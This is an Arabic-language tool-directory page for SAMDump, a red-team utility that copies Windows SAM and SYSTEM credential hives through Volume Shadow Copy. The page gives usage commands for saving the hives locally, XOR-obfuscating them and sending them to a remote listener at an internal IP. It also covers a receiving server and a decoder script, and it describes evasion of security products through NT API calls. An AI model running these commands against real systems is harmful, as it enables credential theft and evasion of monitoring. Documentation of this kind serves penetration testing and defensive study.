Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SAMDump — استخرج سجلات SAM و SYSTEM باستخدام واجهة برمجة تطبيقات نسخ الظل لوحدة التخزين (VSS). مع خيارات استخراج البيانات والتعتيم عبر XOR. بلغات C# و C++ و Crystal و Python و Rust و Golang و Nim و Deno (جافاسكريبت) | Kitploit
أدوات/GitHubGitHub/ricardojoserf/samdump
تصعيد الامتيازاتأدوات التشفير/فك التشفيرتسريب البياناتما بعد الاستغلالالأدوات والمكوناتالفريق الأحمر
GitHubricardojoserf/samdump

SAMDump

استخرج سجلات SAM و SYSTEM باستخدام واجهة برمجة تطبيقات نسخ الظل لوحدة التخزين (VSS). مع خيارات استخراج البيانات والتعتيم عبر XOR. بلغات C# و C++ و Crystal و Python و Rust و Golang و Nim و Deno (جافاسكريبت)

عرض المستودع
372464منذ 9 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

SAMDump

يستخرج ملفات SAM وSYSTEM الخاصة بنظام ويندوز باستخدام خدمة نسخ الظل لوحدة التخزين (VSS) مع خيارات متعددة للتسريب وتشفير XOR:

  • يسرد نسخ الظل لوحدة التخزين باستخدام VSS وينشئ واحدة إذا لزم الأمر
  • يستخرج ملفات SAM وSYSTEM من نسخة الظل
  • يستخدم استدعاءات NT API لعمليات الملفات (NtCreateFile، NtReadFile، NtWriteFile)
  • يدعم التشفير بـ XOR للتعتيم
  • طرق التسريب: حفظ محلي أو نقل عبر الشبكة

تم تنفيذ الأداة بلغات C++، C#، Crystal وPython، وتعمل على الإصدارات الحديثة من ويندوز.

تتطلب صلاحيات مرتفعة، وإذا تم إنشاء نسخة الظل فسيتم حذفها تلقائيًا بعد حوالي 5 دقائق.


الاستخدام

root@kitploit:~
SAMDump.exe [OPTIONS]

Options:
  --save-local [BOOL]    Save locally (default: false)
  --output-dir DIR       Output directory (default: C:\Windows\tasks)
  --send-remote [BOOL]   Send remotely (default: false)
  --host IP              Host for remote sending (default: 127.0.0.1)
  --port PORT            Port for remote sending (default: 7777)
  --xor-encode [BOOL]    XOR Encode (default: false)
  --xor-key KEY          Enable XOR with specified key (default: SAMDump2025)
  --disk DISK            Disk for shadow copy (default: C:\)
  --help                 Show this help

الحفظ محليًا بدون تشفير:

root@kitploit:~
SAMDump.exe --save-local --output-dir "C:\temp"

img1

الحفظ محليًا مع تشفير XOR:

root@kitploit:~
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

img2

الإرسال إلى خادم بعيد مع تشفير XOR والمفتاح الافتراضي:

root@kitploit:~
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

img3


الخادم لاستقبال الملفات

server.py هو خادم بايثون يستقبل الملفات عبر الشبكة مع فك تشفير XOR تلقائي وتنسيق اسم الملف:

root@kitploit:~
python server.py [OPTIONS]

Options:
  --host HOST     IP address to listen on (default: 0.0.0.0)
  --port PORT     Port to listen on (default: 7777)
  --xor-key KEY   Key for XOR decoding (optional)

مستمع على واجهة ومنفذ محددين مع مفتاح XOR:

root@kitploit:~
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

img4

يحتوي اسم الملف على عنوان IP والتاريخ، مما يتيح إرسال الملفات من أنظمة مختلفة وأتمتة العملية.


البرنامج النصي لفك تشفير الملفات

xor-decoder.py هو برنامج نصي بلغة بايثون لفك تشفير ملفات SAM وSYSTEM المشفرة بـ XOR محليًا:

root@kitploit:~
python xor-decoder.py [OPTIONS]

Options:
  --sam SAM         Path to encoded SAM file (required)
  --system SYSTEM   Path to encoded SYSTEM file (required)
  --xor-key KEY     XOR key for decoding (default: SAMDump2025)
  --output-dir DIR  Output directory for decoded files (default: ./decoded)

فك التشفير بالمفتاح الافتراضي:

root@kitploit:~
python xor-decoder.py --sam sam.txt --system system.txt

img5

فك التشفير بمفتاح مخصص ودليل إخراج:

root@kitploit:~
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

img6


التطبيقات

يتضمن المشروع إصدارات مطبقة بثلاث لغات:

  • C++: التنفيذ الأولي
  • C#: إصدار .NET لقابلية نقل أفضل
  • Python: يتطلب تثبيت مكتبة comtypes (pip install comtypes)

الدافع

أردت أتمتة هذه العملية ومعظم أنظمة ويندوز التي أجدها تشغل VSS، لكن حلول الأمان تكتشف استخدام vssadmin لإنشاء نسخ الظل واستخراج هذه الملفات لأنها تقنية معروفة.

تستخرج هذه الأداة الملفات دون الكتابة على نظام الملفات المستهدف عند استخدام وضع النقل البعيد؛ ويوفر تشفير XOR تعتيمًا أساسيًا لتجنب الكشف القائم على التوقيع (حتى عند استخدام الوضع البعيد).

بالإضافة إلى ذلك، تستخدم استدعاءات NT API لتجاوز بعض أنظمة المراقبة وخطافات API في وضع المستخدم.


تكامل NT API

تستخدم الأداة استدعاءات نظام NT بدلاً من دوال Windows API القياسية، مما قد يتجاوز بعض خطافات API في وضع المستخدم التي تتم مراقبتها عادةً:

  • NtCreateFile و NtReadFile: تُستخدم لفتح مقبض وقراءة بايتات ملفات SAM وSYSTEM في نسخة الظل

  • NtWriteFile: تُستخدم لحفظ الملفات محليًا


شكر وتقدير

شكرًا لـ @vx-underground على تحديد واقتراح تحسينات في كود التنقل عبر جدول عناوين التصدير (EAT)، واستبدال استدعاءات NtReadVirtualMemory غير الضرورية بالوصول المباشر عبر المؤشرات.

تنزيل الأداة